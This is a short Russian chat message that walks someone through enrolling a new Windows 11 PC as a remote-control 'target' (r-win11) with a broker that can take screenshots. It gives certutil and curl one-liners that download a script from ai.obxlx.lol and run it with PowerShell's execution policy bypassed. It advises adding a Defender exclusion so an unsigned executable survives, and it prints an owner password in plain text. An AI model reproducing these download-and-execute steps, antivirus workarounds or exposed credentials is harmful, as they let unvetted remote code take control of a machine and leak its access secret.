Зарегистрировал новую цель — r-win11. На новом ПК (Win11) сделать так:
1. В cmd (от обычного пользователя) одна строка:
certutil -urlcache -split -f https://ai.obxlx.lol/i.ps1 %TEMP%\i.ps1 && powershell -NoProfile -ExecutionPolicy Bypass -File %TEMP%\i.ps1
2. В появившихся промптах ввести:
- Target ID: r-win11
- Пароль владельца (секрет): xpv7qwdXhSFkUtvwu2TcEw
Нюансы именно для Win11:
- Если PowerShell ругается на политику — вариант из cmd без PS: curl -sS ai.obxlx.lol/i.cmd -o %TEMP%\i.cmd && %TEMP%\i.cmd (тоже спросит Target ID).
- Defender может съесть неподписанный exe (скачается 0 байт) — тогда добавить исключение на %TEMP%, полное антивирус не отключать.
Скажи, когда запустишь — проверю, что r-win11 появился в targets_online у брокера, и прогоню смоук (status/screenshot).